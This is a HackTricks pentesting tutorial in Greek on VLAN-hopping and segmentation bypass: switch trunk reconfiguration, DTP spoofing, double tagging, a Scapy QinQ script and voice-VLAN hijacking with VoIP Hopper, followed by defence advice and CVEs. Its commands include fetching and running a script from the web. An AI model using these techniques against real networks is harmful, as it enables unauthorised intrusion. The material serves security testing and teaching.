Lateral VLAN Segmentation Bypass

Reading time: 8 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Εάν είναι διαθέσιμη άμεση πρόσβαση σε έναν διακόπτη, η τμηματοποίηση VLAN μπορεί να παρακαμφθεί. Αυτό περιλαμβάνει την επαναδιαμόρφωση της συνδεδεμένης θύρας σε λειτουργία trunk, τη δημιουργία εικονικών διεπαφών για τις στοχευμένες VLAN και την ρύθμιση διευθύνσεων IP, είτε δυναμικά (DHCP) είτε στατικά, ανάλογα με το σενάριο (για περισσότερες λεπτομέρειες δείτε https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9).

Αρχικά, απαιτείται η αναγνώριση της συγκεκριμένης συνδεδεμένης θύρας. Αυτό μπορεί συνήθως να επιτευχθεί μέσω μηνυμάτων CDP ή αναζητώντας τη θύρα μέσω της μάσκας include.

Εάν το CDP δεν λειτουργεί, μπορεί να γίνει προσπάθεια αναγνώρισης της θύρας αναζητώντας τη διεύθυνση MAC:

SW1(config)# show mac address-table | include 0050.0000.0500

Πριν από την αλλαγή σε λειτουργία trunk, θα πρέπει να συγκεντρωθεί μια λίστα με τις υπάρχουσες VLAN και να προσδιοριστούν οι ταυτοί τους. Αυτές οι ταυτοί στη συνέχεια ανατίθενται στη διεπαφή, επιτρέποντας την πρόσβαση σε διάφορες VLAN μέσω του trunk. Η θύρα που χρησιμοποιείται, για παράδειγμα, σχετίζεται με την VLAN 10.

SW1# show vlan brief

Η μετάβαση σε λειτουργία trunk περιλαμβάνει την είσοδο στη λειτουργία διαμόρφωσης διεπαφής:

SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk

Η αλλαγή σε λειτουργία trunk θα διαταράξει προσωρινά τη συνδεσιμότητα, αλλά αυτό μπορεί να αποκατασταθεί στη συνέχεια.

Στη συνέχεια δημιουργούνται εικονικές διεπαφές, ανατίθενται VLAN IDs και ενεργοποιούνται:

bash
# Legacy (vconfig) – still works but deprecated in modern kernels
sudo vconfig add eth0 10
sudo vconfig add eth0 20
sudo vconfig add eth0 50
sudo vconfig add eth0 60
sudo ifconfig eth0.10 up
sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up

# Modern (ip-link – preferred)
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.10 type vlan id 10
sudo ip link add link eth0 name eth0.20 type vlan id 20
sudo ip link set eth0.10 up
sudo ip link set eth0.20 up
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60

Στη συνέχεια, γίνεται ένα αίτημα διεύθυνσης μέσω DHCP. Εναλλακτικά, σε περιπτώσεις όπου το DHCP δεν είναι εφικτό, οι διευθύνσεις μπορούν να ρυθμιστούν χειροκίνητα:

bash
sudo dhclient -v eth0.10
sudo dhclient -v eth0.20

Παράδειγμα για την χειροκίνητη ρύθμιση μιας στατικής διεύθυνσης IP σε μια διεπαφή (VLAN 10):

bash
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
# or
sudo ip addr add 10.10.10.66/24 dev eth0.10

Η συνδεσιμότητα ελέγχεται με την εκκίνηση αιτημάτων ICMP προς τις προεπιλεγμένες πύλες για τα VLAN 10, 20, 50 και 60.

Τελικά, αυτή η διαδικασία επιτρέπει την παράκαμψη της κατανομής VLAN, διευκολύνοντας έτσι την απεριόριστη πρόσβαση σε οποιοδήποτε δίκτυο VLAN και προετοιμάζοντας το έδαφος για επόμενες ενέργειες.


Άλλες Τεχνικές VLAN-Hopping (χωρίς προνομιακή CLI διακόπτη)

Η προηγούμενη μέθοδος υποθέτει ότι υπάρχει αυθεντικοποιημένη πρόσβαση κονσόλας ή Telnet/SSH στον διακόπτη. Στις πραγματικές περιπτώσεις, ο επιτιθέμενος είναι συνήθως συνδεδεμένος σε μια κανονική θύρα πρόσβασης. Οι παρακάτω Layer-2 κόλπα συχνά σας επιτρέπουν να μετακινηθείτε οριζόντια χωρίς ποτέ να συνδεθείτε στο λειτουργικό σύστημα του διακόπτη:

1. Switch-Spoofing με Πρωτόκολλο Δυναμικής Σύνδεσης (DTP)

Οι διακόπτες Cisco που διατηρούν ενεργοποιημένο το DTP θα διαπραγματευτούν ευχαρίστως μια σύνδεση trunk αν ο ομότιμος ισχυρίζεται ότι είναι διακόπτης. Η δημιουργία ενός μόνο πλαισίου DTP “desirable” ή “trunk” μετατρέπει τη θύρα πρόσβασης σε trunk 802.1Q που μεταφέρει όλα τα επιτρεπόμενα VLANs.

Yersinia και αρκετές PoCs αυτοματοποιούν τη διαδικασία:

bash
# Become a trunk using Yersinia (GUI)
sudo yersinia -G          # Launch GUI → Launch attack → DTP → enabling trunking

# Python PoC (dtp-spoof)
git clone https://github.com/fleetcaptain/dtp-spoof.git
sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable

Recon helper (παθητική αναγνώριση της κατάστασης DTP της θύρας):

bash
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up

# or

wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py
sudo python3 dtpscan.py -i eth0

Μόλις η θύρα αλλάξει σε trunk, μπορείτε να δημιουργήσετε υποδιευθύνσεις 802.1Q και να κάνετε pivot ακριβώς όπως φαίνεται στην προηγούμενη ενότητα.

2. Double-Tagging (Κατάχρηση Native-VLAN)

Εάν ο επιτιθέμενος βρίσκεται στο native (untagged) VLAN, ένα κατασκευασμένο πλαίσιο με δύο κεφαλίδες 802.1Q μπορεί να μεταπηδήσει σε μια δεύτερη VLAN ακόμη και όταν η θύρα είναι κλειδωμένη σε access mode. Εργαλεία όπως το VLANPWN DoubleTagging.py (ανανεωμένο 2022-2025) αυτοματοποιούν την ένεση:

bash
python3 DoubleTagging.py \
--interface eth0 \
--nativevlan 1 \
--targetvlan 20 \
--victim 10.10.20.24 \
--attacker 10.10.1.54

3. QinQ (802.1ad) Stacking

Πολλοί πυρήνες επιχειρήσεων υποστηρίζουν την Q-in-Q ενσωμάτωση παρόχου υπηρεσιών. Όπου επιτρέπεται, ένας επιτιθέμενος μπορεί να σήμανε τυχαία 802.1Q-σημασμένη κίνηση μέσα σε έναν πάροχο (S-tag) για να διασχίσει ζώνες ασφαλείας. Συλλέξτε για ethertype 0x88a8 και προσπαθήστε να αφαιρέσετε την εξωτερική ετικέτα με το Scapy:

python
from scapy.all import *
outer = 100      # Service tag
inner = 30       # Customer / target VLAN
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0")

4. Voice-VLAN Hijacking via LLDP/CDP (IP-Phone Spoofing)

Οι εταιρικές θύρες πρόσβασης συχνά βρίσκονται σε μια “access + voice” ρύθμιση: μη επισημασμένο VLAN δεδομένων για τον υπολογιστή και ένα επισημασμένο VLAN φωνής που διαφημίζεται μέσω CDP ή LLDP-MED. Με την προσποίηση ενός IP τηλεφώνου, ο επιτιθέμενος μπορεί αυτόματα να ανακαλύψει και να εισέλθει στο VLAN VoIP—ακόμα και όταν το DTP είναι απενεργοποιημένο.

VoIP Hopper (πακεταρισμένο στο Kali 2025.2) υποστηρίζει CDP, DHCP options 176/242, και πλήρη προσποίηση LLDP-MED:

bash
# One-shot discovery & hop
sudo voiphopper -i eth0 -f cisco-7940

# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt)
sudo voiphopper -i eth0 -z

# Result: new sub-interface eth0.<VVID> with a DHCP or static address inside the voice VLAN

Η τεχνική παρακάμπτει τον διαχωρισμό δεδομένων/φωνής και είναι εξαιρετικά κοινή σε διακόπτες επιχείρησης το 2025 επειδή η LLDP auto-policy είναι ενεργοποιημένη από προεπιλογή σε πολλά μοντέλα.


Συστάσεις Άμυνας

  1. Απενεργοποιήστε το DTP σε όλες τις θύρες που απευθύνονται στους χρήστες: switchport mode access + switchport nonegotiate.
  2. Αλλάξτε το εγγενές VLAN σε κάθε trunk σε ένα μη χρησιμοποιούμενο, black-hole VLAN και επισημάνετε το: vlan dot1q tag native.
  3. Αφαιρέστε τα περιττά VLANs από τα trunks: switchport trunk allowed vlan 10,20.
  4. Επιβάλετε ασφάλεια θύρας, DHCP snooping, δυναμική επιθεώρηση ARP και 802.1X για να περιορίσετε τη δραστηριότητα κακόβουλου Layer-2.
  5. Απενεργοποιήστε τις αυτόματες πολιτικές φωνής LLDP-MED (ή κλειδώστε τις σε αυθεντικοποιημένα MAC OUIs) αν η παραποίηση IP-τηλεφώνου δεν απαιτείται.
  6. Προτιμήστε τα private-VLANs ή τον L3 διαχωρισμό αντί να βασίζεστε αποκλειστικά στον διαχωρισμό 802.1Q.

Ευπάθειες Πωλητών στον Πραγματικό Κόσμο (2022-2024)

Ακόμα και μια τέλεια σκληρυμένη διαμόρφωση διακόπτη μπορεί να υπονομευθεί από σφάλματα firmware. Πρόσφατα παραδείγματα περιλαμβάνουν:

  • CVE-2022-20728† – Cisco Aironet/Catalyst Access Points επιτρέπουν την ένεση από το εγγενές VLAN σε μη εγγενή WLAN VLANs, παρακάμπτοντας τον ενσύρματο/ασύρματο διαχωρισμό.
  • CVE-2024-20465 (Cisco IOS Industrial Ethernet) επιτρέπει την παράκαμψη ACL σε SVIs μετά την εναλλαγή του Resilient Ethernet Protocol, διαρρέοντας την κυκλοφορία μεταξύ VRFs/VLANs. Ενημέρωση 17.9.5 ή νεότερη.

Πάντα παρακολουθείτε τις συμβουλές των προμηθευτών για ζητήματα παράκαμψης/ACL που σχετίζονται με VLAN και διατηρείτε τις εικόνες υποδομής ενημερωμένες.


Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks